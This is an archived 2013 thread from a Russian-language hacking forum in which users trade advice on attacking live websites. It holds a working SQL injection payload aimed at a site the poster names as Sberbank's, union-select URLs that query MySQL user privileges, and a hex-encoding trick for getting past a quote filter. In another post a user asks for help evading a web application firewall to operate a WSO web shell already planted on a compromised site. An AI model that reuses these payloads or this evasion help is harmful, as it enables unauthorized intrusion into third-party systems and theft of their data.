ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
12.12.2013, 22:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
70690
Репутация:
-5
|
|
Сообщение от qaz
qaz said:
тебе ж сказали, в майскул разделение запросов работать небудет, ты хоть читаешь что тебе пишут или нет?
Бля не так просто понял!
|
|
|
|
13.12.2013, 02:42
|
|
Новичок
Регистрация: 15.06.2010
Сообщений: 0
Провел на форуме:
16546
Репутация:
0
|
|
Подскажите какая веб-уязвимости сейчас являются наиболее распространенными? Очень хочется начать изучать веб-уязвимости, но естественно хочу начать с актуального и распространенного.
|
|
|
13.12.2013, 07:20
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сбербанк, С count(*)сложнее, но данные можно выводить:
Код:
Code:
lan=3&pid=0%26((1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(SELECT*FROM(SELECT*FROM information_schema.tables LIMIT 1)a1 WHERE @:=ascii(mid(TABLE_SCHEMA,1,1))))UNION(SELECT @)&type_id=2&raznovid=2&num_set=undefined
Возвращает код первого символа имени базы данных. Остаться выяснить ограничение длины у фильтра на число и можно приступать.
sabe, Здесь нормальный вывод, не blind. Если у вас получиться упростить запрос - это хорошо, но на некоторых запросах БД может надолго зависнуть, осторожно.
|
|
|
|
13.12.2013, 11:41
|
|
Guest
Сообщений: n/a
Провел на форуме:
343026
Репутация:
391
|
|
Доброго времени суток ачатовцы!
подскажите как обойти Incapsula WAF
есть шелл WSO. Пытаясь его открыть, когда как, то пускает, то нет, но оказавшись внутри не могу ничего исполнить сразу ловлю бан. Админки прикрыли, так что шелл последняя зацепка.
может быть кто нибудь сталкивался с этим зверем и есть решение?
судя по отчету сравнительного тестирования Incapsula WAF vs CloudFlare пробелы в защите имеются
ХЭЭЭЛППП МИ!!!
p.s Эта хрень таскает по всему сайту свои кукисы, может быть валидность вызываемых страниц сайта завязана на поле Referer и этих куках
|
|
|
|
14.12.2013, 02:55
|
|
Guest
Сообщений: n/a
Провел на форуме:
182660
Репутация:
324
|
|
Код:
Code:
https://e-pay.by/https://e-pay.by/?invaliduser
https://e-pay.by/https://e-pay.by/
https://e-pay.by/https://e-pay.by/news?page=9
что это такое? |
|
|
|
14.12.2013, 15:06
|
|
Guest
Сообщений: n/a
Провел на форуме:
1743
Репутация:
0
|
|
Добрый день! Пытаюсь посмотреть, есть ли файловые привилегии у юзера, но пишет, мол в доступе отказано.
Сообщение от None
User lormedi_askort already has more than 'max_user_connections' active connections...
Сообщение от None
site.com/?item_id=5762+union+select+1,file_priv,3,4+from+my sql.user+where+user=lormedi_askort+--+
|
|
|
|
14.12.2013, 19:07
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от MrKloud
MrKloud said:
Добрый день! Пытаюсь посмотреть, есть ли файловые привилегии у юзера, но пишет, мол в доступе отказано.
если используешь запрос по выборке и кавычек нет, то к нужной записи в колонке надо хексить, пример:
Сообщение от None
site.com/?item_id=5762+union+select+1,file_priv,3,4+from+my sql.user+where+user=0x6C6F726D6564695F61736B6F7274 +--+
|
|
|
|
14.12.2013, 19:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
1743
Репутация:
0
|
|
Сообщение от winstrool
winstrool said:
если используешь запрос по выборке и кавычек нет, то к нужной записи в колонке надо хексить, пример:
То же самое.
|
|
|
|
14.12.2013, 20:15
|
|
Guest
Сообщений: n/a
Провел на форуме:
12404
Репутация:
0
|
|
Как можно записать, чтобы значение было больше определнного..
К примеру where value=больше50
Что то понять не могу как это записать
|
|
|
|
14.12.2013, 20:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
30555
Репутация:
85
|
|
Сообщение от zombak18
zombak18 said:
Как можно записать, чтобы значение было больше определнного..
К примеру where value=больше50
Что то понять не могу как это записать
Тебе сюда
|
|
|
|
|
|
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Линейный вид
